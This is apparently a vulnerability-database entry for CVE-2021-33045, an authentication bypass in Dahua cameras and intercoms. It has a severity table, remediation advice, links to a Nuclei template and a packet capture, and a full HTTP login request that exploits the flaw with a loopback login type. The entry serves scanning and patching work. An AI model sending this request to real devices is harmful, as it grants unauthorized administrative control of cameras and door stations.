| Title | Dahua IPC/VTH/VTO - Authentication Bypass |
|---|---|
| Author | phantomowl |
| Severity | Critical |
| Impact | Unauthenticated attackers can bypass device authentication by constructing malicious login packets, gaining full administrative access to Dahua IPC/VTH/VTO devices. |
| Remediation | Apply firmware updates provided by Dahua to address the authentication bypass vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94171 |
| CVE ID | CVE-2021-33045 |
| CWE ID | CWE-287 |
| Tags | cve cve2021 dahua auth-bypass seclists kev vkev vuln |
The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.
POST /RPC2_Login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 282
Content-Type: application/json
Accept-Encoding: gzip
{
"method": "global.login",
"params": {
"userName": "admin",
"ipAddr": "127.0.0.1",
"loginType": "Loopback",
"clientType": "Local",
"authorityType": "Default",
"passwordType": "Plain",
"password": "admin"
},
"id": 1,
"session": 0
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33045.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-33045.pcap
N/AN/A